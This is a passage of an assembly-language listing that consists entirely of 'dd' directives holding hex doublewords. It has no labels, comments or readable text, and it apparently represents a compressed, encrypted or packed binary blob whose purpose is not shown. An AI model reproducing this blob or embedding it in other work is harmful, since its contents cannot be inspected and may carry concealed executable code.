0E978890Fh, 737938h dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh dd 7B9D3700h, 0CEB45Ch dd 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h, 2BC33A65h dd 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h, 0E4481E5Dh dd 0D29CF6h, 41E2D45Fh, 641C0467h, 0B4FD6F4h, 7FDCC037h dd 1B6C36Eh, 12E357A1h, 0CA01AA54h, 53458EC0h, 4072200h dd 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh, 0B851CF3Ch dd 5AC56C31h, 0ED01E0h, 7BCBB39Dh, 69C5ACA6h, 4A6F2500h dd 2565E2Ah, 88F81410h, 1A00E4DAh, 76A73E27h, 1301EB1Bh dd 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh, 0B50053D4h dd 0E396C067h, 320482h, 0AA0E3C76h, 0D449596Ch, 771D7C72h dd 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h, 0AFE2DD03h dd 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh, 6878AC54h dd 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h, 641500C6h dd 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh, 35557BC3h dd 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah, 1E024707h dd 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah, 830F090Dh dd 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h, 0BD5F0731h dd 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h, 0E0C92120h dd 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h, 0B2A208E0h dd 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh, 2140410Eh dd 31811F0h, 777FF883h, 2C1A903h, 2CF6155Dh, 0C90033A3h dd 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h, 552609B9h dd 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh, 38C76AC1h dd 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h, 65CE468Eh dd 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h, 53E373F8h dd 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh, 7060770Fh dd 746E6972h, 4C146663h, 4544F04Fh, 6206E52h, 98707B9Eh dd 50657AE5h, 6F643E70h, 375FB875h, 2079C642h, 1F53BEFFh dd 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h, 1EB7E261h dd 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh, 0DA727E62h dd 51A76875h, 2C64D66Fh, 1E2BA2A3h, 245E4375h, 38C4C190h dd 0E509D232h, 0B3181529h, 33FD4702h, 0FEF741F1h, 239AF5D5h dd 7E8F43FFh, 0A663B5D2h, 4163467Dh, 0DF6F4C27h, 9F5394AEh dd 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h, 10060h, 374E0000h dd 31AA0000h, 0C46A6C82h, 29900FFFh, 92E05B20h, 0B8FA3148h dd 2C3227Dh, 0C92B2B83h, 0C9920994h, 5612AECEh, 0DE2D9EA4h dd 1425A6CEh, 30FEA6BBh, 0F0731E2Ah, 59360884h, 27FBC629h dd 0B1823A27h, 0B0A6F215h, 0FDF1BAB7h, 8197290Ah, 0E9E0B697h dd 61E8EF3h, 28ACB8D8h, 2E67D966h, 62BFAE4Fh, 36CBFA69h dd 18657296h, 0F6F336B5h, 76347147h, 8826C371h, 0F83764EFh dd 612407EBh, 3B7FCCB0h, 2788AAF2h, 56805AC8h, 0EEBF0580h dd 48C00FF0h, 0E5AEE2D2h, 384ECDC7h, 0D9B2AD09h, 219CF6A7h dd 5AF2C4AAh, 0A701C0C4h, 0E45DDEF3h, 218105E8h, 336A821Ch dd 689F7AA6h, 8BAB0E66h, 4A0DCFA3h, 79A7A17Eh, 0B5125596h dd 98CFACD7h, 0C702A4E5h, 60810C58h, 560FDA1h, 69C5F892h dd 7EBC0A2Dh, 382DAEB7h, 0A773491Fh, 1254E731h, 87D40730h dd 0D5FEAB26h, 47FF89D5h, 0D089543Eh, 6DBC1209h, 0F71D9C0Ch dd 3D783E41h, 59BBFA3Eh, 548BAC10h, 66A210AEh, 321F166Bh dd 4AA6E0A8h, 5923223Ch, 2025AE08h, 8F9F0928h, 949EEF5Eh dd 0DCD674DEh, 146E8644h, 0FD0F799Fh, 25B09921h, 0AB47A680h dd 42862DF2h, 5BC3FF9h, 14DD2CC5h, 194E8D6Ah, 0C62FC319h dd 3DE0BDC6h, 0A7EF4655h, 44B9CA2Fh, 0F0E37DBDh, 0DD2F0C38h dd 0E590304Ch, 0F3746268h, 0D8909264h, 0F0526408h, 8DCD356h dd 3431E02Bh, 0ED305773h, 18323C7Dh, 25D96343h, 0A0560888h dd 0B2A4EFA0h, 5F83DA70h, 0C6A2F042h, 5620E71h, 406340EFh dd 2B5C5909h, 77CC7E7Ah, 63A9C7EAh, 579A0A08h, 27D689E3h dd 3DBCB075h, 9A66502Fh, 5AED060Ch, 0DBF37973h, 9AA758CFh dd 217D5944h, 0C6A590EDh, 0BF5E4FAFh, 2AA91FC4h, 276712AEh dd 102ED908h, 9CE6ECF5h, 0A9715A39h, 0BE01D29Ch, 0E0D1E096h dd 0EADA5E86h, 0E5C68888h, 0AA61470Ah, 8D78FF0h, 6C67E877h dd 0A28A82B4h, 0F6BD7133h, 0F19E04D9h, 9125B0ADh, 1CBD8C5Fh dd 0ECD18A12h, 0FBAF033Fh, 0BB524B3h, 0F6915EECh, 0C0FB46A4h dd 8C933621h, 1B7197B5h, 692247F0h, 29337220h, 358C692h dd 45C356CAh, 99E6A197h, 69159692h, 0D569734Ch, 3590CEA5h dd 901ADE1Ch, 0B4ADDCD4h, 0A4E36CEBh, 0C114AB80h, 0F99E41C2h dd 299FAC3Ah, 41B3E0ABh, 9586580Bh, 0E77E2554h, 1E7ADF30h dd 43512BE8h, 0B56DB33Ah, 0F83FE3E8h, 0A5CC87A4h, 0D95346AFh dd 0E0B3CC81h, 0F0F650CCh, 0A4DE9DFDh, 0CAB30288h, 0D7917025h dd 0BACEA5A0h, 64BBB81Ch, 5B764A5Bh, 0E2BC6258h, 384384E3h dd 16FD539h, 77F9C296h, 0F389C2EDh, 0E94D592h, 0F8CD0D3h dd 16FF6C63h, 43C0BF26h, 441EEF84h, 1B15564Ch, 0C4FA6261h dd 30F2F04Bh, 584ABEAAh, 0A7D74A96h, 0FB561BFAh, 0A081484Dh dd 0C61F83A7h, 0DD72E980h, 0C8D18177h, 3AEC0CF0h, 0D429B756h dd 0AC43DF29h, 8A64E66h, 1D56F8D0h, 0F38C7927h, 8A966320h dd 0E4D861F5h, 3D50C9CBh, 0B3FC0F26h, 0A2F4756Ah, 0FE2F68FFh dd 0D674E00Ch, 0B0983975h, 20CF04E0h, 4085B97Fh, 0A632785h dd 0E7680D9Fh, 0DC163EE5h, 0BA07F0E7h, 0D8D9EE43h, 25614296h dd 0E456D7A2h, 0BA1ED82Dh, 0AF811E9Fh, 0CCF6941Ah, 0E785A25Bh dd 27E75225h, 0DFFD2412h, 2EBE9480h, 0C6A24FECh, 7581935Eh dd 0F757ED9Ch, 0DAA9B57h, 0FDC6CDDBh, 41E119F3h, 66F43C82h dd 0FD6FF1F3h, 92B500A5h, 7F74C013h, 798250A0h, 20A18F2Ch dd 320340Fh, 4072C10Fh, 0F39FE2A9h, 0B2CAD598h, 0E6E6DE08h dd 9FB7773Fh, 81F3DF1Ch, 0DE0BF281h, 0FA8E1387h, 468FE479h dd 50336712h, 0F5358D03h, 7AFA3E50h, 3E8C3279h, 0D6726F69h dd 2542D6E1h, 0D43F04B9h, 0AB4D338Fh, 9C0AB0E7h, 0C953643h dd 9A9FFF61h, 7EDFFE89h, 0E45A00C1h, 6968A333h, 174E6003h dd 66082536h, 0A6856C26h, 54BEDEBh, 8D043269h, 3AEF589Dh dd 8CDB30A4h, 0C3DEEA4Dh, 21214B01h, 17DD62BAh, 0E8EE7AC1h dd 5D619946h, 0C9B949FFh, 0FD8F70ABh, 16CCDA9Eh, 4EAD82ADh dd 291F3DF5h, 14EF5642h, 9DEEA3A7h, 14D28E08h, 8E4B9679h dd 0E699294Fh, 0D199CB7Ch, 9712CD4h, 226A930Eh, 0FFF3F258h dd 0BB9785A8h, 6F00DD6Bh, 1C3BCE1Ch, 1B0E26Eh, 0A2CF6B10h dd 0A8E86B04h, 0E6969D8Dh, 0D3A199Dh, 0F0F8CE86h, 1D1DD03Bh dd 62485B27h, 94F76BBh, 905121E0h, 2F9623A9h, 9F4C89ABh dd 2CA59F15h, 8ACCA03Dh, 53EC28C3h, 4BED13ECh, 0E1E74EB7h dd 295C128h, 82BF9A31h, 0FB67C81h, 85F98E62h, 2023DD63h dd 6386C85Bh, 84A8C6CBh, 9165065Dh, 3E1EDB59h, 3F76F407h dd 0C71B243Eh, 29EF0878h, 6E730C2Eh, 3BF23EC2h, 620C8647h dd 3894A6E7h, 2340FC90h, 553D20F4h, 4600D826h, 6E14F315h dd 0ABFB53ADh, 3F35F1D8h, 0A2FBCE79h, 0D75F04Bh, 8CD3B7E7h dd 0C5AD95C9h, 0AF35539Eh, 9943A36h, 7A648E6Ch, 24D2EF70h dd 564D99CAh, 0C93808D9h, 1E852522h, 2F0A978Fh, 1AE47FE0h dd 76F1F7DCh, 0E33CDDAAh, 40340233h, 0C42ED795h, 15C801D9h dd 0C7D0FAA5h, 22614324h dd 9372AD51h, 1AF5D9DAh, 8CF7A5C9h, 0D8C3396Eh, 0D3FA790Bh dd 1DAFDDF9h, 2E8C749Dh, 0A090E0D0h, 0B6A31F64h, 0D1C2F776h dd 0F3BE2FDCh, 373950BFh, 284617B2h, 7C8E9332h, 211B2295h dd 0E6F8F5D6h, 0FBBFB573h, 0A1D1D07Ch, 4E7434ABh, 5502A89Eh dd 1E22473Ch, 4C1984DFh, 0D33A6203h, 0AD8E4C27h, 84184E2Ah dd 8FC65CFBh, 58918CF2h, 4E893C6Dh, 0A567D63Fh, 0D4BAC4E2h dd 6B243DAAh, 4DACE1FCh, 0DDC8105Ch, 1B11403Dh, 89E3B313h dd 29A4E34Ch, 0CC136D9Ah, 24876D59h, 484A35A7h, 2D7B64FCh dd 0AA4E562Dh, 0DF266D42h, 0EA60AAEEh, 5B7E9CFFh, 3B4CD384h dd 2704ADECh, 0AC56F970h, 851296DCh, 0E18EA56Ah, 8E9850E8h dd 6064CD2Fh, 73A44B5Eh, 768F4A98h, 0F694F7EEh, 0D54D6E72h dd 806FF255h, 15D5297Bh, 6A614B25h, 8C7C0B9Bh, 9632479Dh dd 6F3ED670h, 88C39FE7h, 8684B769h, 0F71CAF9Bh, 7E483AD1h dd 8E56474Ch, 7BA67415h, 51624DE9h, 4655FE08h, 484EBB86h dd 8DEAD7B0h, 5C14D61Bh, 0A918F74Eh, 0B934FC41h, 0C003792Dh dd 575CB3C1h, 4F139D03h, 97B6167Eh, 807B8F5h, 6B67B9C5h dd 2745A099h, 0CCD02C42h, 4544DE81h, 0DC7D9858h, 0DEF6141Eh dd 6AF97F1h, 2B68FC25h, 0BCDD14DCh, 0AEB53A4Ch, 0E55F367Fh dd 1C517C6Fh, 2B3D3F84h, 0F6331047h, 37FF9802h, 0A69D08E8h dd 0A708F5BEh, 0D6D28805h, 0CEDF6F66h, 230E3932h, 762218Ch dd 0BC351858h, 2FCBEA15h, 0AC39A839h, 0F66858E3h, 3DA3E223h dd 7101B037h, 0F9C9BD79h, 8F8A51A9h, 295DF6Bh, 80C4BBACh dd 5BBB52F7h, 5E34F722h, 7385EEB5h, 76DB6D77h, 12F54560h dd 1EBAAC8Eh, 5911419Ch, 3FE93CD4h, 0EFC666E2h, 0D84DB12Ch dd 0F4B582A3h, 54F7E373h, 71BE446Bh, 0A3CB82B8h, 95324F4Eh dd 0A28DC43Fh, 0F93DEB49h, 4311C537h, 5314BE3Fh, 0CC18F814h dd 0F2DA1416h, 7A839830h, 0B03F9498h, 7AC014ADh, 0C905150h dd 0A1152CE6h, 0D102433Eh, 0B597B78Ch, 80E4D3FAh, 0A5C4EAE0h dd 0A7F8938Dh, 0C1BDB5CFh, 2E4F7C3Eh, 0CA0801D8h, 0BFE3A00Ch dd 0D26BC5AEh, 0E742DBDBh, 0F6B54ED1h, 9A049E86h, 8E6B31F0h dd 3E429FCCh, 0C4B92783h, 0A332E412h, 1E55242Fh, 416A30BDh dd 9D09491Bh, 0AEDFB397h, 0E1BFBE56h, 86A765C8h, 0EB29C25Fh dd 352091EFh, 6BA1C051h, 0D3DC8296h, 0C5F58CDBh, 0AC236669h dd 999B46D9h, 0B29D5DA4h, 0AC993894h, 1E068B0Ch, 35B8386Bh dd 7050CB9h, 12AC5770h, 8AE68ACCh, 692D5FC4h, 0C2C4A903h dd 8A264984h, 0EA27FA1Dh, 51B60FA9h, 0E856E985h, 0A52B1949h dd 0A12C5BF1h, 0EE27049Fh, 0CA56F88h, 0CCA170B7h, 0C5A091F4h dd 0B08F334Fh, 0E69347BBh, 1CA845CEh, 88AB8198h, 3E16D9AAh dd 96D0EF9Ah, 2CC9915h, 4FCD5FFAh, 7824EAC5h, 9AE408Eh dd 9D3CAD60h, 41ACBDDFh, 0B7FF565Ch, 0FD450BAEh, 9633E103h dd 0F9B0297Ch, 0FEFA8BCAh, 87F1DFBFh, 40E4004Bh, 4D7922EBh dd 799B256Bh, 191ECF4Bh, 0D783B6BAh, 0D7219799h, 8C3F1505h dd 0B1393BADh, 6DEEFFE1h, 57664553h, 79D712E6h, 95BF1B74h dd 4463F29Fh, 0BE24BFCCh, 0BC26E4E8h, 9BB74FE6h, 793F46ACh dd 20C32ECEh, 19525441h, 59228135h, 0DE07CA28h, 0BD632C6Ch dd 17DA93D6h, 19E88E37h, 0B0FF147h, 0EB6C3C05h, 0AF378920h dd 18C6AFB9h, 242080Fh, 0C6077A54h, 7AD51D2h, 45ED21BDh dd 7F2EB688h, 0A5E7CEFAh, 152C439Fh, 9E220883h, 781E8715h dd 94ECBAD5h, 0E82FEB4Ah, 9FFE2824h, 0C6D4E3D9h, 59A3B4Dh dd 3EAD0AF0h, 0D94E9238h, 0C833ABC8h, 0C4BD73A6h, 0A1E23641h dd 0D043A0D1h, 0EB594070h, 0DE5B8B75h, 0BDE4E77Fh, 0D6612BA4h dd 45DAE357h, 934F8079h, 0D3726856h, 36E911DCh, 0B5AE2346h dd 0C803ABB3h, 42168B4Ah, 5339CBAAh, 167DDE43h, 2F66F716h dd 3AAB21A7h, 0C75CB324h, 5177335Ah, 0FDA57D7Eh, 46D85386h dd 4DBC2362h, 2E672778h, 0A45F4594h, 22BF92D8h, 0AA60136Eh dd 48F4B525h, 0E4B3F596h, 0B0770402h, 219B9CD0h, 209A78C4h dd 0DD37994Dh, 0BB870381h, 0B1F8B7F3h, 771FA34Bh, 774927A4h dd 8A3FCF2h, 0E9F916B4h, 6E3B93h, 5AA5ECA2h, 214CFD71h dd 0B5D4B00Ch, 537541EDh, 0E1B64FF5h, 6E5636B6h, 0F1D77175h dd 96ACEC98h, 0EE25290Eh, 0EF28AA5h, 83FA2BA1h, 0AAB86EC5h dd 0A1AADC1Dh, 118845E5h, 1A2FC5A8h, 1DEA5266h, 7E7BA277h dd 1190A848h, 0C9390E0h, 755E2084h, 5F2B902h, 2B20F514h dd 18D0B9A2h, 984F21EFh, 0C51C06EAh, 776AEF7h, 0CADFAC59h dd 9F7A9943h, 61395EFCh, 46B02B45h, 8B018B9Dh, 0E39419DFh dd 6DAC1A44h, 46FD03CBh, 766E4EC2h, 0D7676F1Ch, 38F85D3Fh dd 0D556D77Ch, 0D142099Ch, 628E02B2h, 926D1087h, 6CE31D91h dd 0E6CE2B7Eh, 0A9379E3Ah, 0FCAA59FBh, 7CFDC164h, 0D06A1F3Bh dd 3F885F91h, 98214F1Eh, 30D5DFCAh, 7B89A550h, 7FA7F5ECh dd 8753D29h, 0DFBD0EFFh, 5D7D23A6h, 0C21F11B1h, 4E36061Ah dd 0E6161E44h, 31EFCF23h, 0A7A978B3h, 0B25A9083h, 86F4D3DCh dd 0DDD816EDh, 4B65C497h, 0DB09C61Bh, 0BDAF1BABh, 4CEFE58Fh dd 0CBFD8320h, 4312D26Ah, 3541BC04h, 0DCBB6EE0h, 8C3D1C16h dd 0E3A2D250h, 0F8BB90D6h, 8781A5A5h, 0FCABDB74h, 94904DDBh dd 0D83729C4h, 66FCFAE2h, 0C83A40E3h, 222EA758h, 0D4AD7419h dd 3D3AC3FBh, 4325DA73h, 90F65BEBh, 924A343Fh, 275C2FDDh dd 428B106h, 2394ABF3h, 5BE6FB0Fh, 0C4BA9656h, 6BA55CC4h dd 6128B106h, 27308727h, 269AA7E0h, 498D5C2Bh, 152D4DABh dd 1365C04Ah, 0ACB43175h, 0B19D358Ch, 0CEEB22Ah, 0BABC671Ah dd 0FE508A78h, 431AF5E6h, 45FFBBE2h, 1A9A847Eh, 5E803D0Dh dd 3BEB7077h, 8D55CD36h, 98ADE278h, 2CF53213h, 8426B74Ah dd 0C05D4AC0h, 56025733h, 5F6D6597h, 0DA19CBDCh, 0A508509Ah dd 5AF31E99h, 0E5125902h, 91487644h, 95C9AE31h, 0EE53B07Ch dd 849B48E1h, 782C475Ch, 0F7486389h, 2B33431Ch, 1086DEDFh dd 0D2A0D3B3h, 959A132Dh, 0BC278C04h, 0A77B9909h, 77CB1193h dd 0C94DDB7Ah, 0BB8AA6E5h, 387E5645h, 5E2C56Dh, 0F25D9CDBh dd 684C39Ch, 1280C8B4h, 4CFF053Dh, 2BAF350Ah, 65CFC9E8h dd 0BB8BB179h, 49CB46Ah, 81810FAFh, 0AD96F9F5h, 2F6AFF86h dd 716F7831h, 0C027B715h, 0F00C970Dh, 0DADC84A4h, 9F08042Ah dd 166103E1h, 0DE2C7696h, 0BEC38F2Ah, 176D5443h, 0B4113705h dd 0CAEB2FA4h, 0D9001F54h, 75AF9386h, 14186B68h, 8B354250h dd 0AC268DF2h, 8FE09156h, 1A388CCEh, 0EC430957h, 41379C77h dd 164647EEh, 22A8CA67h, 45E0AE8Dh, 3F310FC8h, 84FB2A7Ch dd 0FE6230F4h, 0A05C2ECBh, 26BC5CFBh, 2B6B6477h, 0BD5D11A9h dd 2700E312h, 468E9515h, 0D3459FCBh, 2EE7E057h, 0C5936C5Ch dd 3595BFCBh, 9ECA17DAh, 77EF1A5Ch, 2CDACC05h, 0DA8601CAh dd 4A8B4DAAh, 195D3E82h, 840F4850h, 5D69BD2h, 0E6F6653h dd 0B5D574D7h, 0FC4A69FFh, 0DAEA47CFh, 625EA387h, 831F811h dd 80ED3F7Ah, 5B3B6FDAh, 8645280Ah, 9103BE88h, 0A06622F3h dd 0BCDCBF78h, 0E31B211Fh, 6E98B0BEh, 48CFDDADh, 27B0F9EBh dd 934C82CAh, 95F55D0Eh, 0BCFA3377h, 7133EF91h, 0FB9BA6C3h dd 2841F5B3h, 2FA0FA29h, 0DB6741h, 5A6C4C8Fh, 6B7117F6h dd 0C2E2C190h, 0F1B2A126h, 4B402772h, 99A79522h, 6B2A4E70h dd 0E31C71D5h, 9CFA4DECh dd 9A9CA7EFh, 0B3064B81h, 6F2FA402h, 0F5B28047h, 1C48512Ah dd 7AF2B856h, 0D1EB4AFCh, 0F8588710h, 8A066A90h, 0C17AFD87h dd 91D57C48h, 0E10B5909h, 0FF89DDAh, 6DB8585Bh, 895BE716h dd 0FC1C9969h, 46CEEC6Fh, 3446DE39h, 72D20610h, 0F3667ECCh dd 0B0CEDB9Ch, 85798402h, 5CB89131h, 0DC44240Eh, 2B842795h dd 2E8244D5h, 4F4A849Ah, 5852F075h, 0DA3C58EEh, 0A50B6466h dd 21C9AD06h, 0B6D0785Eh, 104D0711h, 0C35E75A5h, 0B75CF11h dd 0B61B0A4Fh, 0FF9FB8FCh, 266229CEh, 3E4C38E1h, 29AD0AA9h dd 0A14D8D1Bh, 37A91A53h, 0CC835270h, 0E84BB276h, 247DBFD2h dd 32622C01h, 0C930A35Dh, 1690B809h, 0D3FB9E61h, 0D740D3FFh dd 0F33F24CAh, 37F4C5B0h, 40464A1Ch, 0B9953DA8h, 0E205C2FDh dd 0CF74ADDCh, 2686EA8Ah, 0BD2F83B6h, 62CA490Bh, 690084A4h dd 0C4FAE5DCh, 0F4DC694Fh, 0AA767B20h, 5B68A3C4h, 123F75F8h dd 0BD65DDFFh, 632A98F6h, 3879356Ah, 12381EF1h, 0E2678CE7h dd 0E4B13B93h, 3907732Eh, 0E3A843C5h, 7C801822h, 2A087E98h dd 326758D0h, 0E0B3FDABh, 0D71DF0B0h, 0E4030A16h, 0DD1BEB8h dd 22D3C9AEh, 7A45137Ch, 0E3F8C773h, 0C1709900h, 0E9D34863h dd 8E750043h, 82BA16D3h, 84312275h, 55085E68h, 0A9E80696h dd 8C1C94E7h, 16654E34h, 3F8E5C4Ah, 0BC5286FBh, 17DA9526h dd 407E8AE6h, 0A3744D9Fh, 0BF913DA2h, 0F5F3F024h, 0B1902F05h dd 363EA680h, 0E78B80EEh, 86454FCEh, 127132C1h, 6679DBE1h dd 786B5894h, 0FC97B050h, 0CD812280h, 0BC1E1899h, 0DD402DC4h dd 6953AD45h, 0BA9F741Bh, 0F2A3F0E7h, 91DA8B9Ch, 0BD974B4Dh dd 22C4AE8Ch, 93BDB243h, 1A1C99E6h, 170703C2h, 2274CF64h dd 0B4CB2A50h, 0C47D1204h, 2D5F7C79h, 5FE7DC4h, 912AF330h dd 3276BAE4h, 24591620h, 7A45D8E5h, 0F96430E6h, 0BEE20142h dd 4C44D245h, 0E7705737h, 72693Fh, 0D64446h, 8C47621Ch dd 0D687FE30h, 0C34D8E66h, 0E5656DFEh, 59D75136h, 504FD326h dd 0EFF901ADh, 0EC4D5377h, 0B7B6F056h, 300C121Ah, 0C4A815F2h dd 0C24E3D47h, 0BC374A92h, 5AE826D8h, 28992648h, 0CD37DA25h dd 0F62AF390h, 28005F16h, 0ECEAD10Dh, 0B3CCD5B4h, 4418104Eh dd 0B637C751h, 113CDBADh, 0DF6F1971h, 0E4AB65A9h, 2827BCE7h dd 3E72E1F8h, 0E5C965AEh, 5BB265BDh, 89FC8050h, 16AB17D6h dd 0F1B29772h, 525999Ch, 99736EEFh, 7F4FBCD4h, 0E3C4C750h dd 3C031AEDh, 0EEEAFAF8h, 0F5FB1A83h, 93CB5EE3h, 2FD22C5Ch dd 121C7FFh, 23C4FEEEh, 1B5616EBh, 2664A748h, 0EE5197CDh dd 5AABC73Ah, 3E2234D7h, 5F783249h, 0A4EBC522h, 4F1FBB83h dd 0CFB03946h, 424BC44Ch, 0CF6D6C56h, 5E0E201Dh, 0B156515Eh dd 0E4B6061Eh, 0C73EDDA0h, 7A0942B9h, 0EA58A7D5h, 3C58193Dh dd 2393C665h, 586F2921h, 340A2F4h, 6947EF60h, 4F81F83Ch dd 0AD42D728h, 74F616EAh, 0A0449B61h, 1E9BEF04h, 0A910C5DCh dd 0FFDF2F82h, 29BF799Ah, 0FC51E83Ch, 248B3C45h, 307B0F46h dd 6BA8796h, 14DB330h, 0FCFC5F2h, 0A437FD7h, 9476A07Ch dd 85606E4Eh, 0D0DB6805h, 0A43F31CAh, 6BCFBBCAh, 1A369D60h dd 2D6EB6F9h, 342925FAh, 2ED8546Dh, 65602014h, 0E8199288h dd 38743AEh, 880A5BA6h, 274C1276h, 0CA40EDBAh, 3E0E43E7h dd 74F4D695h, 35B4B5AEh, 1A3EAFA3h, 2C321DE2h, 9B9A5A7Eh dd 0E2BA88F1h, 0EBB1BA98h, 91A27FECh, 9EBB68CAh, 0C01E740Dh dd 6C2CD1A3h, 11B653D2h, 0F1542457h, 6D965EF0h, 7B9BC213h dd 0CB24A54h, 273EAB74h, 0A14BEBB3h, 83379BEDh, 0FD76CD06h dd 2EB9CD74h, 96BB64FAh, 24CC2124h, 0A53E4B93h, 21EF1F7Ah dd 0A7DE693Bh, 0D2F66FA7h, 0B6528E5Bh, 97030923h, 0E015C9Dh dd 0F23B450Ch, 0ED186496h, 0F6A51F68h, 0DF3F98CEh, 8FEE0376h dd 0FAE1C29Ch, 1FBD311Ch, 10799CD5h, 0CB381A09h, 535F0DAEh dd 3883BE06h, 0BDE6E768h, 969B2364h, 833131F4h, 0CABA127h dd 0DEC641DAh, 332815EFh, 7C1A23B8h, 67FE7EB3h, 0BFE29EA2h dd 572A58C1h, 66262368h, 0F64C4B80h, 0C7D6770h, 0D62EF999h dd 1456480h, 0A1DDD497h, 0E1F272CEh, 0F6D561A5h, 23C3BA12h dd 0D8A01EE9h, 927FBA14h, 116AD1BCh, 0D2DACC6Dh, 8A38057Fh dd 656D30C1h, 86B18D77h, 0D1BB15ACh, 0F5D89A66h, 3D6CB2D8h dd 7AB2919Dh, 0FE81F1F3h, 0A0CA604Ch, 0F9BBDE31h, 56323E50h dd 0A974F709h, 30373BF9h, 2F21A6F6h, 0C0584352h, 0AFBCD959h dd 9294ACC0h, 1B90FEC7h, 0C79D6C0Ah, 0E1E1C695h, 0C9B99522h dd 1B1CB98Fh, 36B47FBDh, 24B54B5Bh, 88E84C0Dh, 0E02A2A83h dd 749E9699h, 3A4837A6h, 4B5D09AEh, 2E2F255Eh, 818BAD03h dd 28BBF689h, 389A1BF7h, 790A67D9h, 0F7C8D51Fh, 0A42BE5E9h dd 150DFBFCh, 585028D0h, 0E3887632h, 4F562404h, 0FAD19BF6h dd 0AD066A2Ah, 0D31525F7h, 66A349ECh, 0BEF6253h, 39B23FE3h dd 8FCA0059h, 33F5CDEAh, 7E743449h, 51D51AA6h, 8B03F88Eh dd 0E02D35F9h, 3B906090h, 0D41BCCFBh, 67556CAEh, 10FCED85h dd 0DB34CBE4h, 319C8EF2h, 0D67D14ECh, 9B37E04Eh, 887A2003h dd 2A0A0C4h, 0EEAC7880h, 826C0B56h, 38844711h, 5EE70C29h dd 690FF96Ch, 6B42BF69h, 0BB8A7C1Dh, 6287F0F9h, 58125280h dd 75DA0B87h, 0F8B8B4F3h, 1AF9CCFCh, 822135D3h, 52212A5Ah dd 8405CC22h, 9DC96BF6h, 286F516Ch, 897EC9A7h, 0A00FC614h dd 0A544FECBh, 0BF93A92Eh, 7B1952EDh, 0C9A7FEADh, 27F8C853h dd 4CC8C6D9h, 0D279CC3Bh, 19E02A5Dh, 13DBD497h, 0F313A91Bh dd 7882DD2Eh, 68D155E6h, 4B57AF15h, 0B61867D6h, 0A64C5F9h dd 7EFB285Bh, 0BEF942BDh, 0F277745Ah, 0CE1E031Ch, 7AF57245h dd 0FB9E5608h, 875EFE1Ah, 0CB308FB6h, 0CD6BB219h, 0A5C26FA2h dd 16BFBBh, 0F4716883h, 4233751Eh, 0DB2FAAE4h, 5B66ED31h dd 0A648BE16h, 75CA4EC8h, 2FA7E47Bh, 38B7CD87h, 6D001C17h dd 49BF0659h, 452BDF28h, 0ADC91369h, 0BBBE6035h, 0FB93867Ch dd 2FE79293h, 0C644D7AFh, 1B41F41Ah, 6E6C10A3h, 7DE0B37Eh dd 0C22218BBh, 8A28C96Eh, 66348000h, 657136ECh, 0EF9ED234h dd 4AAAC535h, 0AA342C71h, 4D981E72h, 27A605EEh, 0D6C2403Dh dd 2598EDEDh, 8BDB1FA4h, 0D5D131A7h, 9CFEB825h, 209D4A7Ch dd 653F9DA2h, 82E4D23h, 6B7C3660h, 0DFF36957h, 0F2343F1Ah dd 1EC15BADh, 1661B49Fh, 97AEB461h, 0C9344F4Ch, 5F68EC45h dd 0F97A11D1h, 0A28D09C3h, 94FF55A2h, 109C38FCh, 6B354B1Dh dd 0F91EA029h, 0A5720B27h, 0F1194526h, 532962EAh, 253F9B07h dd 0C83BA71Fh, 19BD6751h, 1B30EE94h, 31AAB972h, 0F1C108C3h dd 0DB8320F7h, 0A41F819Fh, 0E6A45BC6h, 0F0E5011Bh, 921E3067h dd 0AD2FC702h, 5C22AE8Ch, 0AC2F5C9Dh, 24D2068Bh, 20FBFE1Fh dd 0A9B68B25h, 6E12AFC7h, 51ED4589h, 157038EEh, 91F9AAD3h dd 0F8890222h, 0F5B32DD5h, 428E6FE0h, 72EFE0D2h, 457CE99Ah dd 0F108C70Ch, 0B9EF648Fh, 0FC81CE74h, 0A76221F6h, 4431C325h dd 84CF5B16h, 6614E509h, 824515FCh, 25D28483h, 0BE3E55D1h dd 3FBC2368h, 2A334993h, 0DAE05ACAh, 0EF69BF79h, 7FE12B45h dd 19A7A696h, 4C285F71h, 5973CB98h, 0E03230D1h, 259BF08Fh dd 6608F6B8h, 0E0C55456h, 0A3AD0351h, 7ACBD974h, 0CDA5E11Dh dd 4BF190FAh, 0D9AF54ABh, 524F4381h, 0C8A3309h, 0FE0DC66Ah dd 0A8F3CB48h, 0EA550B1Bh dd 24A281B6h, 0AFE03429h, 92643B8Fh, 0B396DD97h, 4E98796Dh dd 476FD059h, 0EB0E8F17h, 5F06ED7Dh, 0C2EF56E5h, 55775648h dd 2DA9DF2Bh, 86D0BA90h, 810BF833h, 8E59AED1h, 7380BCFBh dd 796CA18Fh, 262FFAA9h, 0DDFD5848h, 27E981FEh, 2B9B86Eh dd 0B48272F6h, 6356E8AFh, 9E952AD6h, 32CCE3AAh, 6F9E3E10h dd 0EDFDDF13h, 0BD799917h, 16E03C5Ah, 0A9183565h, 51AF0B49h dd 408E18BFh, 20F57C0Fh, 26C46ACEh, 0B4C0F121h, 63D7DE4h dd 1F75A7B4h, 0D00714A8h, 7ADFD32h, 0B43C80F6h, 0BEFCA8E1h dd 4E42AFAAh, 17CA7AB5h, 0BAF200E1h, 6D06C56Eh, 